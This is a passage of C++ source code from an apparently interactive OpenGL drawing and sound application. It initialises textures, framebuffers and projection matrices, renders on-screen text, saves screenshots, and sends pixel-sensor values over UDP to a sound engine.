Wave GLubyte transition_tableWave[243] = { 0,1,0,1,1,2,0,2,0,1,1,2,1,1,0,2,0,2,0,2,0,2,0,2,0,2,0,1,1,2,1,1,0,2,0,2,1,1,0,1,0,2,0,2,0,2,0,2,0,2,0,2,0,2,0,2,0,2,0,2,0,2,0,2,0,2,0,2,0,2,0,2,0,2,0,2,0,2,0,2,0,1,1,2,1,0,2,2,2,2,1,0,2,0,0,0,2,0,0,2,2,2,2,0,0,2,0,2,1,0,2,0,0,0,2,0,0,0,0,0,0,0,2,0,2,0,2,0,0,0,2,0,0,0,0,2,2,2,2,0,0,2,0,2,2,0,0,0,2,0,0,0,0,2,0,2,0,0,0,2,0,0,0,2,0,2,2,0,0,0,0,2,2,0,2,2,2,0,2,0,0,0,0,0,2,0,0,0,0,2,2,0,2,2,2,0,2,0,2,2,2,2,2,2,2,2,2,0,2,0,2,2,2,0,2,0,0,0,0,0,2,0,0,0,0,0,2,0,2,2,2,0,2,0,0,0,0,0,2,0,0,0,0 }; ptr[ 0 ] = 3; for( int ind = 1 ; ind < std::min( width , 243+1 ) ; ind++ ) { ptr[ ind * 4 ] = transition_tableWave[ind-1]; } ptr += 4 * width; glEnable(GL_TEXTURE_RECTANGLE); glBindTexture( GL_TEXTURE_RECTANGLE, textureID ); glTexParameterf(GL_TEXTURE_RECTANGLE,GL_TEXTURE_MIN_FILTER, GL_NEAREST); glTexParameterf(GL_TEXTURE_RECTANGLE,GL_TEXTURE_MAG_FILTER, GL_NEAREST); glTexParameterf( GL_TEXTURE_RECTANGLE, GL_TEXTURE_WRAP_S , GL_CLAMP ); glTexParameterf( GL_TEXTURE_RECTANGLE, GL_TEXTURE_WRAP_T, GL_CLAMP ); glTexImage2D(GL_TEXTURE_RECTANGLE, // Type of texture 0, // Pyramid level (for mip-mapping) - 0 is the top level GL_RGBA8, // Components: Internal colour format to convert to width, // Image width height, // Image heigh 0, // Border width in pixels (can either be 1 or 0) GL_RGBA, // Format: Input image format (i.e. GL_RGB, GL_RGBA, GL_BGR etc.) GL_UNSIGNED_BYTE, // Image data type data_table ); // The actual image data itself printOglError( 4 ); } bool pg_initTextures( void ) { pg_screenMessageBitmap = (GLubyte * )pg_generateTexture( &pg_screenMessageBitmap_ID , pg_byte_tex_format , PG_EnvironmentNode->message_pixel_length , 1 ); if( !pg_screenMessageBitmap ) { sprintf( ErrorStr , "Error: screen message bitmap not allocated (%s)!" , ScreenMessage ); ReportError( ErrorStr ); throw 336; } for(int indTrack = 0 ; indTrack < PG_NB_TRACKS ; indTrack++ ) { pg_tracks_Pos_Texture[indTrack] = (GLfloat * )pg_generateTexture( &(pg_tracks_Pos_Texture_ID[indTrack]) , pg_float_tex_format , PG_EnvironmentNode->Nb_max_mouse_recording_frames , 1 ); if( !pg_tracks_Pos_Texture[indTrack] ) { sprintf( ErrorStr , "Error: pg_tracks_Pos_Texture not allocated (%s)!" , ScreenMessage ); ReportError( ErrorStr ); throw 336; } pg_tracks_Col_Texture[indTrack] = (GLfloat * )pg_generateTexture( &(pg_tracks_Col_Texture_ID[indTrack]) , pg_float_tex_format , PG_EnvironmentNode->Nb_max_mouse_recording_frames , 1 ); if( !pg_tracks_Col_Texture[indTrack] ) { sprintf( ErrorStr , "Error: pg_tracks_Col_Texture not allocated (%s)!" , ScreenMessage ); ReportError( ErrorStr ); throw 336; } pg_tracks_RadBrushRendmode_Texture[indTrack] = (GLfloat * )pg_generateTexture( &(pg_tracks_RadBrushRendmode_Texture_ID[indTrack]) , pg_float_tex_format , PG_EnvironmentNode->Nb_max_mouse_recording_frames , 1 ); if( !pg_tracks_RadBrushRendmode_Texture[indTrack] ) { sprintf( ErrorStr , "Error: pg_tracks_RadBrushRendmode_Texture not allocated (%s)!" , ScreenMessage ); ReportError( ErrorStr ); throw 336; } pg_tracks_Pos_target_Texture[indTrack] = (GLfloat * )pg_generateTexture( &(pg_tracks_Pos_target_Texture_ID[indTrack]) , pg_float_tex_format , PG_EnvironmentNode->Nb_max_mouse_recording_frames , 1 ); if( !pg_tracks_Pos_target_Texture[indTrack] ) { sprintf( ErrorStr , "Error: pg_tracks_Pos_Texture not allocated (%s)!" , ScreenMessage ); ReportError( ErrorStr ); throw 336; } pg_tracks_Col_target_Texture[indTrack] = (GLfloat * )pg_generateTexture( &(pg_tracks_Col_target_Texture_ID[indTrack]) , pg_float_tex_format , PG_EnvironmentNode->Nb_max_mouse_recording_frames , 1 ); if( !pg_tracks_Col_target_Texture[indTrack] ) { sprintf( ErrorStr , "Error: pg_tracks_Col_Texture not allocated (%s)!" , ScreenMessage ); ReportError( ErrorStr ); throw 336; } pg_tracks_RadBrushRendmode_target_Texture[indTrack] = (GLfloat * )pg_generateTexture( &(pg_tracks_RadBrushRendmode_target_Texture_ID[indTrack]) , pg_float_tex_format , PG_EnvironmentNode->Nb_max_mouse_recording_frames , 1 ); if( !pg_tracks_RadBrushRendmode_target_Texture[indTrack] ) { sprintf( ErrorStr , "Error: pg_tracks_RadBrushRendmode_Texture not allocated (%s)!" , ScreenMessage ); ReportError( ErrorStr ); throw 336; } } #define width_data_table 600 #define height_data_table 200 pg_CA_data_table = (GLubyte * )pg_generateTexture( &pg_CA_data_table_ID , pg_byte_tex_format , width_data_table , height_data_table ); pg_CA_data_table_values( pg_CA_data_table_ID , pg_CA_data_table, width_data_table , height_data_table ); if( !pg_CA_data_table_ID ) { sprintf( ErrorStr , "Error: data tables for the CA bitmap not allocated (%s)!" , ScreenMessage ); ReportError( ErrorStr ); throw 336; } pg_loadTexture( PG_EnvironmentNode->font_file_name , &Font_image , &Font_texture_Rectangle , true , false , GL_RGB8 , GL_LUMINANCE , GL_UNSIGNED_BYTE , GL_LINEAR , 128 , 70 ); pg_loadTexture( (char *)(project_name+"/textures/pen.png").c_str() , &Pen_image , &Pen_texture_2D , false , true , GL_RGBA8 , GL_RGBA , GL_UNSIGNED_BYTE , GL_LINEAR , 4096 , 512 ); pg_loadTexture( (char *)(project_name+"/textures/sensor.png").c_str() , &Sensor_image , &Sensor_texture_rectangle , true , false , GL_RGBA8 , GL_RGBA , GL_UNSIGNED_BYTE , GL_LINEAR , 300 , 100 ); pg_loadTexture( (char *)(project_name+"/textures/LYMlogo.png").c_str() , &LYMlogo_image , &LYMlogo_texture_rectangle , true , false , GL_RGBA8 , GL_RGBA , GL_UNSIGNED_BYTE , GL_LINEAR , 1024 , 768 ); pg_loadTexture( (char *)(project_name+"/textures/trackBrushes.png").c_str() , &trackBrush_image , &trackBrush_texture_2D , false , true , GL_RGBA8 , GL_RGBA , GL_UNSIGNED_BYTE , GL_LINEAR , 128 , 512 ); pg_loadTexture3D( (char *)(project_name+"/textures/ParticleAcceleration_alK_3D").c_str() , ".png" , 7 , 4 , true , &Particle_acceleration_texture_3D , GL_RGBA8 , GL_RGBA , GL_LINEAR , 2048 , 1024 , 7 ); return true; } ///////////////////////////////////////////////////////////////// // FBO INITIALIZATION ///////////////////////////////////////////////////////////////// GLuint drawBuffers[16] = { GL_COLOR_ATTACHMENT0, GL_COLOR_ATTACHMENT1, GL_COLOR_ATTACHMENT2, GL_COLOR_ATTACHMENT3, GL_COLOR_ATTACHMENT4, GL_COLOR_ATTACHMENT5, GL_COLOR_ATTACHMENT6, GL_COLOR_ATTACHMENT7, GL_COLOR_ATTACHMENT8, GL_COLOR_ATTACHMENT9, GL_COLOR_ATTACHMENT10, GL_COLOR_ATTACHMENT11, GL_COLOR_ATTACHMENT12, GL_COLOR_ATTACHMENT13, GL_COLOR_ATTACHMENT14, GL_COLOR_ATTACHMENT15 }; ///////////////////////////////////////////// // FBO GLuint FBO_localColor_grayCA_tracks[PG_NB_MEMORIZED_PASS] = {0,0,0}; // nb_attachments=5 GLuint FBO_snapshot[2] = {0,0}; // drawing memory on odd and even frames for echo and sensors // FBO texture GLuint FBO_texID_localColor_grayCA_tracks[PG_NB_MEMORIZED_PASS*NB_ATTACHMENTS] = {0,0,0,0,0,0,0,0,0}; // nb_attachments=5 - PG_NB_MEMORIZED_PASS=3 GLuint FBO_texID_snapshot[PG_NB_TRACKS - 1] = {0,0}; // drawing memory on odd and even frames for echo and sensors bool pg_initFBOTextures( GLuint *textureID , int nb_attachments ) { glTexParameterf( GL_TEXTURE_2D, GL_TEXTURE_WRAP_S , GL_REPEAT ); glTexParameterf( GL_TEXTURE_2D, GL_TEXTURE_WRAP_T, GL_REPEAT ); for( int indAtt = 0 ; indAtt < nb_attachments ; indAtt++ ) { glBindTexture(GL_TEXTURE_RECTANGLE, textureID[ indAtt ]); glTexParameteri(GL_TEXTURE_RECTANGLE,GL_TEXTURE_MAG_FILTER, GL_NEAREST); glTexParameteri(GL_TEXTURE_RECTANGLE,GL_TEXTURE_MIN_FILTER, GL_NEAREST); glTexStorage2D(GL_TEXTURE_RECTANGLE,1,GL_RGBA32F, singleWindowWidth , windowHeight ); glFramebufferTexture2D( GL_FRAMEBUFFER, GL_COLOR_ATTACHMENT0 + indAtt , GL_TEXTURE_RECTANGLE, textureID[ indAtt ] , 0 ); if(glCheckFramebufferStatus(GL_FRAMEBUFFER) ==GL_FRAMEBUFFER_INCOMPLETE_ATTACHMENT) { sprintf( ErrorStr , "Error: Binding RECT FBO texture No %d ID %d (error %d)!" , indAtt , textureID[ indAtt ] , glCheckFramebufferStatus(GL_FRAMEBUFFER) ); ReportError( ErrorStr ); throw 336; } } return true; } bool pg_initFBO( void ) { int maxbuffers; glGetIntegerv(GL_MAX_COLOR_ATTACHMENTS, &maxbuffers); if( maxbuffers < NB_ATTACHMENTS ) { sprintf( ErrorStr , "Error: Maximal attachment (%d) -> %d required!" , maxbuffers , NB_ATTACHMENTS ); ReportError( ErrorStr ); throw 336; } glGenFramebuffers( PG_NB_MEMORIZED_PASS, FBO_localColor_grayCA_tracks ); glGenTextures(PG_NB_MEMORIZED_PASS * NB_ATTACHMENTS, FBO_texID_localColor_grayCA_tracks); for( int indFB = 0 ; indFB < PG_NB_MEMORIZED_PASS ; indFB++ ) { glBindFramebuffer( GL_FRAMEBUFFER, FBO_localColor_grayCA_tracks[indFB] ); pg_initFBOTextures( FBO_texID_localColor_grayCA_tracks + indFB * NB_ATTACHMENTS , NB_ATTACHMENTS ); glDrawBuffers( NB_ATTACHMENTS , drawBuffers); } glGenFramebuffers( 2, FBO_snapshot ); // drawing memory on odd and even frames for echo and sensors glGenTextures(2, FBO_texID_snapshot); // drawing memory on odd and even frames for echo and sensors for( int indFB = 0 ; indFB < 2 ; indFB++ ) { glBindFramebuffer( GL_FRAMEBUFFER, FBO_snapshot[indFB] ); pg_initFBOTextures( FBO_texID_snapshot + indFB , 1 ); glDrawBuffers( 1 , drawBuffers); } glBindFramebuffer( GL_FRAMEBUFFER, 0 ); return true; } ///////////////////////////////////////////////////////////////// // MATRIX INITIALIZATION ///////////////////////////////////////////////////////////////// void pg_initRenderingMatrices( void ) { memset( (char *)viewMatrix , 0 , 16 * sizeof( float ) ); memset( (char *)modelMatrix , 0 , 16 * sizeof( float ) ); memset( (char *)modelMatrixSensor , 0 , 16 * sizeof( float ) ); viewMatrix[0] = 1.0f; viewMatrix[5] = 1.0f; viewMatrix[10] = 1.0f; viewMatrix[15] = 1.0f; modelMatrix[0] = 1.0f; modelMatrix[5] = 1.0f; modelMatrix[10] = 1.0f; modelMatrix[15] = 1.0f; modelMatrixSensor[0] = 1.0f; modelMatrixSensor[5] = 1.0f; modelMatrixSensor[10] = 1.0f; modelMatrixSensor[15] = 1.0f; // ORTHO float l = 0.0f; float r = (float)singleWindowWidth; float b = 0.0f; float t = (float)windowHeight; float n = -1.0f; float f = 1.0f; GLfloat mat[] = { (GLfloat)(2.0/(r-l)), 0.0, 0.0, 0.0, 0.0, (GLfloat)(2.0/(t-b)), 0.0, 0.0, 0.0, 0.0, (GLfloat)(2.0/(f-n)), 0.0, (GLfloat)(-(r+l)/(r-l)), (GLfloat)(-(t+b)/(t-b)), (GLfloat)(-(f+n)/(f-n)), 1.0 }; memcpy( (char *)projMatrix , mat , 16 * sizeof( float ) ); // printf("Orthographic projection l %.2f r %.2f b %.2f t %.2f n %.2f f %.2f\n" , l,r,b,t,n,f); r = (float)doubleWindowWidth; GLfloat mat2[] = { (GLfloat)(2.0/(r-l)), 0.0, 0.0, 0.0, 0.0, (GLfloat)(2.0/(t-b)), 0.0, 0.0, 0.0, 0.0, (GLfloat)(2.0/(f-n)), 0.0, (GLfloat)(-(r+l)/(r-l)), (GLfloat)(-(t+b)/(t-b)), (GLfloat)(-(f+n)/(f-n)), 1.0 }; memcpy( (char *)doubleProjMatrix , mat2 , 16 * sizeof( float ) ); // printf("Double width orthographic projection l %.2f r %.2f b %.2f t %.2f n %.2f f %.2f\n" , l,r,b,t,n,f); } /////////////////////////////////////////////////////// // On-Screen Message Display /////////////////////////////////////////////////////// void pg_screenMessage_update( void ) { // GLbyte *xfont = NULL; GLubyte *yfont = NULL; GLubyte *wfont = NULL; GLubyte *hfont = NULL; GLubyte *sfont = NULL; GLubyte *tfont = NULL; // GLubyte *afont = NULL; if( NewScreenMessage ) { switch( PG_EnvironmentNode->font_size ) { case 10: // xfont = stb__arial_10_usascii_x; yfont = stb__arial_10_usascii_y; wfont = stb__arial_10_usascii_w; hfont = stb__arial_10_usascii_h; sfont = stb__arial_10_usascii_s; tfont = stb__arial_10_usascii_t; // afont = stb__arial_10_usascii_a; break; case 11: // xfont = stb__arial_11_usascii_x; yfont = stb__arial_11_usascii_y; wfont = stb__arial_11_usascii_w; hfont = stb__arial_11_usascii_h; sfont = stb__arial_11_usascii_s; tfont = stb__arial_11_usascii_t; // afont = stb__arial_11_usascii_a; break; case 12: // xfont = stb__arial_12_usascii_x; yfont = stb__arial_12_usascii_y; wfont = stb__arial_12_usascii_w; hfont = stb__arial_12_usascii_h; sfont = stb__arial_12_usascii_s; tfont = stb__arial_12_usascii_t; // afont = stb__arial_12_usascii_a; break; case 13: // xfont = stb__arial_13_usascii_x; yfont = stb__arial_13_usascii_y; wfont = stb__arial_13_usascii_w; hfont = stb__arial_13_usascii_h; sfont = stb__arial_13_usascii_s; tfont = stb__arial_13_usascii_t; // afont = stb__arial_13_usascii_a; break; case 14: // xfont = stb__arial_14_usascii_x; yfont = stb__arial_14_usascii_y; wfont = stb__arial_14_usascii_w; hfont = stb__arial_14_usascii_h; sfont = stb__arial_14_usascii_s; tfont = stb__arial_14_usascii_t; // afont = stb__arial_14_usascii_a; break; case 15: // xfont = stb__arial_15_usascii_x; yfont = stb__arial_15_usascii_y; wfont = stb__arial_15_usascii_w; hfont = stb__arial_15_usascii_h; sfont = stb__arial_15_usascii_s; tfont = stb__arial_15_usascii_t; // afont = stb__arial_15_usascii_a; break; case 16: // xfont = stb__arial_16_usascii_x; yfont = stb__arial_16_usascii_y; wfont = stb__arial_16_usascii_w; hfont = stb__arial_16_usascii_h; sfont = stb__arial_16_usascii_s; tfont = stb__arial_16_usascii_t; // afont = stb__arial_16_usascii_a; break; case 17: // xfont = stb__arial_17_usascii_x; yfont = stb__arial_17_usascii_y; wfont = stb__arial_17_usascii_w; hfont = stb__arial_17_usascii_h; sfont = stb__arial_17_usascii_s; tfont = stb__arial_17_usascii_t; // afont = stb__arial_17_usascii_a; break; default: case 18: // xfont = stb__arial_18_usascii_x; yfont = stb__arial_18_usascii_y; wfont = stb__arial_18_usascii_w; hfont = stb__arial_18_usascii_h; sfont = stb__arial_18_usascii_s; tfont = stb__arial_18_usascii_t; // afont = stb__arial_18_usascii_a; break; } int pixelRank = 0; int lengthMax = PG_EnvironmentNode->message_pixel_length; memset(pg_screenMessageBitmap, (GLubyte)0, lengthMax * 4 ); // strcpy( ScreenMessage , "abcdefghijklmnopqrstuvwxyabcdefghijklmnopqrstuvwxyabcdefghijklmnopqrstuvwxyabcdefghijklmnopqrstuvwxyabcdefghijklmnopqrstuvwxyabcdefghijklmnopqrstuv"); // strcpy( ScreenMessage , "abcdefghijkl"); // lengthMax = 30; for (char *c = ScreenMessage ; *c != '\0' && pixelRank < lengthMax ; c++) { char cur_car = *c; if( cur_car == 'é' || cur_car == 'è' || cur_car == 'ê' || cur_car == 'ë' ) { cur_car = 'e'; } if( cur_car == 'à' || cur_car == 'â' ) { cur_car = 'a'; } if( cur_car == 'î' || cur_car == 'ï' ) { cur_car = 'i'; } if( cur_car == 'É' || cur_car == 'È' || cur_car == 'Ê' || cur_car == 'Ë' ) { cur_car = 'E'; } if( cur_car == 'À' || cur_car == 'Â' ) { cur_car = 'A'; } if( cur_car == 'Î' || cur_car == 'Ï' ) { cur_car = 'I'; } // usable ascii starts at blank space int cur_car_rank = (int)cur_car - 32; cur_car_rank = (cur_car_rank < 0 ? 0 : cur_car_rank ); cur_car_rank = (cur_car_rank > 94 ? 94 : cur_car_rank ); // defines offset according to table for( int indPixel = 0 ; indPixel < wfont[ cur_car_rank ] && pixelRank + indPixel < lengthMax ; indPixel++ ) { int indPixelColor = (pixelRank + indPixel) * 4; pg_screenMessageBitmap[ indPixelColor ] = sfont[ cur_car_rank ]+indPixel; pg_screenMessageBitmap[ indPixelColor + 1 ] = tfont[ cur_car_rank ]; pg_screenMessageBitmap[ indPixelColor + 2 ] = hfont[ cur_car_rank ]; pg_screenMessageBitmap[ indPixelColor + 3 ] = yfont[ cur_car_rank ]; // printf( "%d %d - " , sfont[ cur_car_rank ] , tfont[ cur_car_rank ] ); } pixelRank += wfont[ cur_car_rank ] + 1; } glBindTexture( GL_TEXTURE_RECTANGLE, pg_screenMessageBitmap_ID ); glTexParameteri(GL_TEXTURE_RECTANGLE, GL_TEXTURE_MIN_FILTER, GL_NEAREST ); glTexParameteri(GL_TEXTURE_RECTANGLE, GL_TEXTURE_MAG_FILTER, GL_NEAREST ); glTexParameterf( GL_TEXTURE_RECTANGLE, GL_TEXTURE_WRAP_S , GL_CLAMP ); glTexParameterf( GL_TEXTURE_RECTANGLE, GL_TEXTURE_WRAP_T, GL_CLAMP ); glTexImage2D(GL_TEXTURE_RECTANGLE, // Type of texture 0, // Pyramid level (for mip-mapping) - 0 is the top level GL_RGBA8, // Internal colour format to convert to lengthMax, // Image width 1, // Image height 0, // Border width in pixels (can either be 1 or 0) GL_RGBA, // Input image format (i.e. GL_RGB, GL_RGBA, GL_BGR etc.) GL_UNSIGNED_BYTE, // Image data type pg_screenMessageBitmap); // The actual image data itself NewScreenMessage = false; printOglError( 6 ); } } /////////////////////////////////////////////////////// // GLUT draw function (from the viewpoint) // the glut callback // requires predrawing (drawing from the user to the root node) // ------------------------------------------------------------ // // --------------- DISPLAYS WINDOWS ONE AFTER ANOTHER --------- // // ------------------------------------------------------------ // void window_display( void ) { // CurrentWindow = PG_EnvironmentNode->PG_Window; // glutSetWindow( CurrentWindow->glutID ); PG_EnvironmentNode->windowDisplayed = true; // fprintf(fileLog,"begin window_display %.10f\n" , RealTime() ); // OpenGL initializations before redisplay OpenGLInit(); // fprintf(fileLog,"after OPenGLInit %.10f\n" , RealTime() ); // proper scene redrawing pg_draw_scene( _Render ); // fprintf(fileLog,"after draw scene %.10f\n" , RealTime() ); // specific features for interactive environments with // messages // printf( "Window %s\n" , CurrentWindow->id ); pg_screenMessage_update(); // flushes OpenGL commands glFlush(); glutSwapBuffers(); // // fprintf(fileLog,"after glutSwapBuffers %.10f\n" , RealTime() ); // ------------------------------------------------------------ // // --------------- FRAME/SUBFRAME GRABBING -------------------- // // ---------------- frame by frame output --------------------- // // Svg screen shots // printf("Draw Svg\n" ); if( PG_EnvironmentNode->outputSvg && FrameNo % PG_EnvironmentNode->stepSvg == 0 && FrameNo / PG_EnvironmentNode->stepSvg >= PG_EnvironmentNode->beginSvg && FrameNo / PG_EnvironmentNode->stepSvg <= PG_EnvironmentNode->endSvg ) { // printf("Draw Svg %d\n" , FrameNo ); pg_draw_scene( _Svg ); } // ---------------- frame by frame output --------------------- // // Png screen shots // printf("Draw Png\n" ); if( PG_EnvironmentNode->outputPng && FrameNo % PG_EnvironmentNode->stepPng == 0 && FrameNo / PG_EnvironmentNode->stepPng >= PG_EnvironmentNode->beginPng && FrameNo / PG_EnvironmentNode->stepPng <= PG_EnvironmentNode->endPng ) { pg_draw_scene( _Png ); } // ---------------- frame by frame output --------------------- // // Jpg screen shots // printf("Draw Jpg\n" ); if( PG_EnvironmentNode->outputJpg && FrameNo % PG_EnvironmentNode->stepJpg == 0 && FrameNo / PG_EnvironmentNode->stepJpg >= PG_EnvironmentNode->beginJpg && FrameNo / PG_EnvironmentNode->stepJpg <= PG_EnvironmentNode->endJpg ) { pg_draw_scene( _Jpg ); } } ////////////////////////////////////////////////////////////////////// // SAVE IMAGE ////////////////////////////////////////////////////////////////////// /* Attempts to save PNG to file; returns 0 on success, non-zero on error. */ int writepng(char *filename, int x, int y, int width, int height ) { cv::Mat img( height, width, CV_8UC3 ); // OpenGL's default 4 byte pack alignment would leave extra bytes at the // end of each image row so that each full row contained a number of bytes // divisible by 4. Ie, an RGB row with 3 pixels and 8-bit componets would // be laid out like "RGBRGBRGBxxx" where the last three "xxx" bytes exist // just to pad the row out to 12 bytes (12 is divisible by 4). To make sure // the rows are packed as tight as possible (no row padding), set the pack // alignment to 1. glPixelStorei(GL_PACK_ALIGNMENT, 1); glReadPixels(x, y, width, height, GL_RGB, GL_UNSIGNED_BYTE, img.data); cv::Mat result; cv::flip(img, result , 0); // vertical flip #ifndef OPENCV_3 cv::cvtColor(result, result, CV_RGB2BGR); std::vector<int> params; params.push_back(CV_IMWRITE_PNG_COMPRESSION); #else cv::cvtColor(result, result, cv::COLOR_RGB2BGR); std::vector<int> params; params.push_back(cv::IMWRITE_PNG_COMPRESSION); #endif params.push_back(9); params.push_back(0); cv::imwrite( filename, result ); return 0; } /* Attempts to save JPG to file; returns 0 on success, non-zero on error. */ int writejpg(char *filename, int x, int y, int width, int height, int compression) { cv::Mat img( height, width, CV_8UC3 ); // OpenGL's default 4 byte pack alignment would leave extra bytes at the // end of each image row so that each full row contained a number of bytes // divisible by 4. Ie, an RGB row with 3 pixels and 8-bit componets would // be laid out like "RGBRGBRGBxxx" where the last three "xxx" bytes exist // just to pad the row out to 12 bytes (12 is divisible by 4). To make sure // the rows are packed as tight as possible (no row padding), set the pack // alignment to 1. glPixelStorei(GL_PACK_ALIGNMENT, 1); glReadPixels(x, y, width, height, GL_RGB, GL_UNSIGNED_BYTE, img.data); cv::Mat result; cv::flip(img, result , 0); // vertical flip #ifndef OPENCV_3 cv::cvtColor(result, result, CV_RGB2BGR); std::vector<int> params; params.push_back(CV_IMWRITE_JPEG_QUALITY); #else cv::cvtColor(result, result, cv::COLOR_RGB2BGR); std::vector<int> params; params.push_back(cv::IMWRITE_JPEG_QUALITY); #endif params.push_back(70); // that's percent, so 100 == no compression, 1 == full cv::imwrite( filename, result ); return 0; } //// sample choice //// current sample choice //int sample_choice[ PG_NB_SENSORS]; //// all possible sensor layouts //int sample_setUps[ PG_NB_MAX_SAMPLE_SETUPS][ PG_NB_SENSORS ] = // {{1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25}, // {26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50}, // {51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75}}; //// groups of samples for aliasing with additive samples //int sample_groups[ 18 ][ 4 ] = // { { 1, 2, 6, 7 }, // { 4, 5, 9, 10 }, // { 16, 17, 21, 22 }, // { 19, 20, 24, 25 }, // { 8, 12, 14, 18 }, // { 3, 11, 15, 23 }, // // { 26, 27, 31, 32 }, // { 29, 30, 34, 35 }, // { 41, 42, 46, 48 }, // { 44, 45, 49, 50 }, // { 33, 37, 39, 43 }, // { 28, 36, 40, 48 }, // // { 51, 52, 56, 57 }, // { 54, 55, 59, 60 }, // { 66, 67, 71, 72 }, // { 69, 70, 74, 75 }, // { 58, 62, 64, 68 }, // { 53, 61, 65, 73 } }; void readSensors( void ) { float sensorValues[PG_NB_SENSORS + 18]; bool sensorOn[PG_NB_SENSORS + 18]; bool sampleOn[PG_NB_MAX_SAMPLE_SETUPS * PG_NB_SENSORS]; int sampleToSensorPointer[PG_NB_MAX_SAMPLE_SETUPS * PG_NB_SENSORS]; GLubyte pixelColor[3 * PG_NB_SENSORS]; // marks all the samples as unread for( int indSample = 0 ; indSample < PG_NB_MAX_SAMPLE_SETUPS * PG_NB_SENSORS ; indSample++ ) { sampleOn[indSample] = false; sampleToSensorPointer[indSample] = -1; } glPixelStorei(GL_PACK_ALIGNMENT, 1); // sensor readback //printf("sensor on "); for( int indSens = 0 ; indSens < PG_NB_SENSORS ; indSens++ ) { if( sensor_onOff[ indSens ] ) { glReadPixels( (int)sensorPositions[ 3 * indSens ], (int)(sensorPositions[ 3 * indSens + 1]), 1, 1, GL_RGB, GL_UNSIGNED_BYTE, pixelColor + 3 * indSens ); sensorValues[indSens] = ( pixelColor[ 3 * indSens ] + pixelColor[ 3 * indSens + 1] + pixelColor[ 3 * indSens + 2])/(255.f * 3.f); sensorOn[indSens] = ( sensorValues[indSens] > 0.0f ); if( sensorOn[indSens] ) { sampleOn[ sample_choice[ indSens ] ] = true; sampleToSensorPointer[ sample_choice[ indSens ] ] = indSens; //printf("%d ",indSens); } } else { sensorValues[indSens] = 0.0f; sensorOn[indSens] = false; } } //printf("\n"); // looks for buffer aliasing possibilities: groups of sounds that could be replaced by a single buffer bool groupOn[18]; float groupValues[18]; //printf("group on "); for(int indgroup = 0 ; indgroup < 18 ; indgroup++ ) { if( sampleOn[ sample_groups[ indgroup ][ 0 ] ] && sampleOn[ sample_groups[ indgroup ][ 1 ] ] && sampleOn[ sample_groups[ indgroup ][ 2 ] ] && sampleOn[ sample_groups[ indgroup ][ 3 ] ] ) { // switches on the group with the average activation value groupOn[indgroup] = true; groupValues[indgroup] = ( sensorValues[ sampleToSensorPointer[ sample_groups[ indgroup ][ 0 ] ] ] + sensorValues[ sampleToSensorPointer[ sample_groups[ indgroup ][ 1 ] ] ] + sensorValues[ sampleToSensorPointer[ sample_groups[ indgroup ][ 2 ] ] ] + sensorValues[ sampleToSensorPointer[ sample_groups[ indgroup ][ 3 ] ] ] ); // switches off the associated sensors sensorValues[sampleToSensorPointer[ sample_groups[ indgroup ][ 0 ] ]] = 0.0f; sensorOn[sampleToSensorPointer[ sample_groups[ indgroup ][ 0 ] ]] = false; sensorValues[sampleToSensorPointer[ sample_groups[ indgroup ][ 1 ] ]] = 0.0f; sensorOn[sampleToSensorPointer[ sample_groups[ indgroup ][ 1 ] ]] = false; sensorValues[sampleToSensorPointer[ sample_groups[ indgroup ][ 2 ] ]] = 0.0f; sensorOn[sampleToSensorPointer[ sample_groups[ indgroup ][ 2 ] ]] = false; sensorValues[sampleToSensorPointer[ sample_groups[ indgroup ][ 3 ] ]] = 0.0f; sensorOn[sampleToSensorPointer[ sample_groups[ indgroup ][ 3 ] ]] = false; //printf("%d (%d,%d,%d,%d) ",indgroup,sampleToSensorPointer[ sample_groups[ indgroup ][ 0 ] ], // sampleToSensorPointer[ sample_groups[ indgroup ][ 1 ] ], // sampleToSensorPointer[ sample_groups[ indgroup ][ 2 ] ], // sampleToSensorPointer[ sample_groups[ indgroup ][ 3 ] ]); } else { groupOn[indgroup] = false; groupValues[indgroup] = 0.0f; } } //printf("\n"); // message value std::string float_str; std::string message = "/sensors"; float totalAmplitude = 0.0; for( int indSens = 0 ; indSens < PG_NB_SENSORS ; indSens++ ) { if( sensorOn[indSens] ) { float_str = std::to_string(static_cast<long double>(sensorValues[ indSens ])); // float_str.resize(4); message += " " + float_str; totalAmplitude += sensorValues[ indSens ]; } else { message += " 0.0"; } } for(int indgroup = 0 ; indgroup < 18 ; indgroup++ ) { if( groupOn[indgroup] ) { float_str = std::to_string(static_cast<long double>(groupValues[indgroup])); // float_str.resize(4); message += " " + float_str; totalAmplitude += groupValues[indgroup]; } else { message += " 0.0"; } } float_str = std::to_string(static_cast<long double>(totalAmplitude)); // float_str.resize(4); message += " " + float_str; // message format std::string format = ""; for( int indSens = 0 ; indSens < PG_NB_SENSORS ; indSens++ ) { format += "f "; } for(int indgroup = 0 ; indgroup < 18 ; indgroup++ ) { format += "f "; } // Total amplitude format += "f"; // message posting pg_send_message_udp( (char *)format.c_str() , (char *)message.c_str() , (char *)"udp_SC_send" ); // message trace //std::cout << "format: " << format << "\n"; //std::cout << "msg: " << message << "\n"; } ////////////////////////////////////////////////////// // SCENE RENDERING ////////////////////////////////////////////////////// // generic interactive draw function (from the root) // scene redisplay (controlled by a drawing mode: file, interactive // or edition) void pg_update_scene( void ) { /////////////////////////////////////////////////////////////////////// // +++++++++++++++++++++++++++++++++++++++++++++++++++++++++ // +++ mouse pointer adjustment according to music +++++++ // +++ notice that there is one frame delay ++++++++++++++ // +++ for taking these values in consideration ++++++++++ // +++++++++++++++++++++++++++++++++++++++++++++++++++++++++ mouse_x_deviation = xy_spectrum[0] * xy_spectrum_coef; mouse_y_deviation = xy_spectrum[1] * xy_spectrum_coef; bool is_trackreplay = false; switch( currentTrack ) { case 0: is_trackreplay = track_replay_0; break; } if( !is_trackreplay ) { if( activeDrawingStroke > 0 ) { tracks_x[ currentTrack ] = mouse_x; tracks_y[ currentTrack ] = mouse_y; tracks_x_prev[ currentTrack ] = mouse_x_prev; tracks_y_prev[ currentTrack ] = mouse_y_prev; } else { tracks_x[ currentTrack ] = -1; tracks_y[ currentTrack ] = -1; tracks_x_prev[ currentTrack ] = -1; tracks_y_prev[ currentTrack ] = -1; } } // printf("Track %d %.1fx%.1f prev: %.1fx%.1f\n",currentTrack,tracks_x[ currentTrack ],tracks_y[ currentTrack ],tracks_x_prev[ currentTrack ],tracks_y_prev[ currentTrack ]); // <write_console value="Position: currentTrack 